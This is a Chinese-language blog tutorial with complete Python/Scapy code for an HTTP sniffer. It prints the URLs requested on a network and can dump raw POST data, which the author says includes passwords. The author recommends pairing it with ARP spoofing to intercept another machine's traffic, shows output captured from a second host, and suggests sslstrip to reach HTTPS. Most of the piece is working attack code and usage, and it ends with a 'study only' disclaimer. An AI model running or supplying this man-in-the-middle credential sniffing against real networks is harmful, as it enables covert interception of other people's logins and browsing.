网站首页 > 技术文章 正文
对网络安全工程师来说,监视网络似乎总是一项有用的任务,因为它使他们能够查看网络中正在发生的事情,查看和控制恶意流量等。在本教程中,您将学会如何嗅探HTTP数据包。
我们继续使用scapy来实现嗅探,一旦检测到HTTP请求,我们将提取一些信息并打印出来,很容易吗?让我们开始吧。
在Scapy 2.4.3+中,默认情况下支持HTTP数据包。让我们安装本教程的要求:
pip3 install scapy colorama
我们这里需要colorama只是为了输出http数据包的时候好看一些。
让我们导入必要的模块:
from scapy.all import *
from scapy.layers.http import HTTPRequest # import HTTP packet
from colorama import init, Fore
# initialize colorama
init()
# define colors
GREEN = Fore.GREEN
RED = Fore.RED
RESET = Fore.RESET
让我们定义处理嗅探的函数:
def sniff_packets(iface=None):
"""
Sniff 80 port packets with `iface`, if None (default), then the
Scapy's default interface is used
"""
if iface:
# port 80 for http (generally)
# `process_packet` is the callback
sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
else:
# sniff with default interface
sniff(filter="port 80", prn=process_packet, store=False)
您可能会注意到,我们在此处指定了端口80,这是因为HTTP的标准端口是80,所以我们已经在过滤掉不需要的数据包。
我们将process_packet()函数传递给sniff()函数,作为监听数据包时调用的回调,它将数据包作为参数,让我们实现它:
def process_packet(packet):
"""
This function is executed whenever a packet is sniffed
"""
if packet.haslayer(HTTPRequest):
# if this packet is an HTTP Request
# get the requested URL
url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
# get the requester's IP Address
ip = packet[IP].src
# get the request method
method = packet[HTTPRequest].Method.decode()
print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
if show_raw and packet.haslayer(Raw) and method == "POST":
# if show_raw flag is enabled, has raw data, and the requested method is "POST"
# then show raw
print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")
我们在此处嗅探请求的URL,请求者的IP和请求方法,但不仅限于此,尝试使用packet.show()方法打印整个HTTP请求数据包,您将看到大量信息,您可以自定义输出。
不必担心show_raw变量,它只是一个全局标志,它指示我们是否打印POST原始数据,例如密码,搜索查询等。我们将在脚本的参数中传递它。
现在让我们实现主要代码:
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
+ "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")
# parse arguments
args = parser.parse_args()
iface = args.iface
show_raw = args.show_raw
sniff_packets(iface)
我们已经使用argparse 模块从命令行或终端解析参数,现在让我们运行脚本(我将其命名为http_filter.py):
root@bfw:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw
这是在我的本地计算机上浏览HTTP网站bfw.wiki后的输出:
[+] 192.168.1.105 Requested bfw.wiki/ with GET
[+] 192.168.1.105 Requested www.bfw.wiki/ with GET
现在我们已经实现嗅探本机电脑的http数据包的功能,那么如何嗅探整个局域网的其他电脑主机发送的htpp报文呢?其实,当您是中间人时,您可以嗅探整个网络或特定主机上的数据包。您可以实施arp欺骗。
为此,您需要使用我上上节课中写的《用Python演示ARP攻击的过程及应对办法 》来实现伪装,这是使用它的方法:
这时,我们正在欺骗“ 192.168.1.100”,说我们是路由器,因此,进入或流出目标计算机的任何数据包都会先流向我们,然后流向路由器。
现在,让我们尝试再次运行http_filter.py脚本:
root@bfw:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw
在“ 192.168.1.100”(这是我的另外一台Windows计算机)中浏览互联网访问bfw.wiki后,我在我的攻击机中得到了以下输出:
[+] 192.168.1.100 Requested bfw.wiki/ with GET
[+] 192.168.1.100 Requested www.bfw.wiki/ with GET
[+] 192.168.1.100 Requested www.taobao.com/ with GET
[+] 192.168.1.100 Requested www.taobao.com/index/ with GET
很酷吧?请注意,您还可以使用sslstrip扩展它,使其也可以嗅探HTTPS请求!
好了,现在您可以嗅探整个网络中的http数据报文了,是不是很酷,关注我,每天更新一篇技术好文。
免责声明:本文仅供学习,禁止用于非法用途。
- 上一篇: python制作仪表盘图(python动态仪表盘)
- 下一篇: 「武鹏有课」Python什么是转义符?
猜你喜欢
- 2025-07-28 python制作仪表盘图(python动态仪表盘)
- 2025-07-28 一起来用 Python 做个是男人就坚持100秒游戏
- 2025-07-28 编程之美:分享Python简单界面框架easygui使用方法
- 2025-07-28 想了解Python源代码加密吗?现总结如下5大加密混淆手段!
- 2025-07-28 不容易!找到一个python的超简易网站搭建神器
- 2025-07-28 多学习才能多赚钱之:python怎么制作游戏脚本
- 2025-07-28 由浅入深和由简单到复杂,带你学习wxpython的菜单
- 2025-07-28 零基础Python自学教程9:Python中运算符的优先级和条件表达式
- 2025-07-28 python 标志法-优化版(数值判断[正负])、非空判断、退出判断)
- 2025-07-28 [python]B站视频下载器优化:下载/合并分开,断点下载,图标问题
- 289℃Python短文,Python中的嵌套条件语句(六)
- 285℃PythonNet:实现Python与.Net代码相互调用!
- 283℃python笔记:for循环嵌套。end=""的作用,图形打印
- 282℃Python实现字符串小写转大写并写入文件
- 279℃Python操作Sqlserver数据库(多库同时异步执行:增删改查)
- 140℃原来2025是完美的平方年,一起探索六种平方的算吧
- 123℃Ollama v0.4.5-v0.4.7 更新集合:Ollama Python 库改进、新模型支持
- 115℃Python 和 JavaScript 终于联姻了!PythonMonkey 要火?
- 最近发表
- 标签列表
-
- python中类 (31)
- python 迭代 (34)
- python 小写 (35)
- python怎么输出 (33)
- python 日志 (35)
- python语音 (31)
- python 工程师 (34)
- python3 安装 (31)
- python音乐 (31)
- 安卓 python (32)
- python 小游戏 (32)
- python 安卓 (31)
- python聚类 (34)
- python向量 (31)
- python大全 (31)
- python次方 (33)
- python桌面 (32)
- python总结 (34)
- python浏览器 (32)
- python 请求 (32)
- python 前端 (32)
- python验证码 (33)
- python 题目 (32)
- python 文件写 (33)
- python中的用法 (32)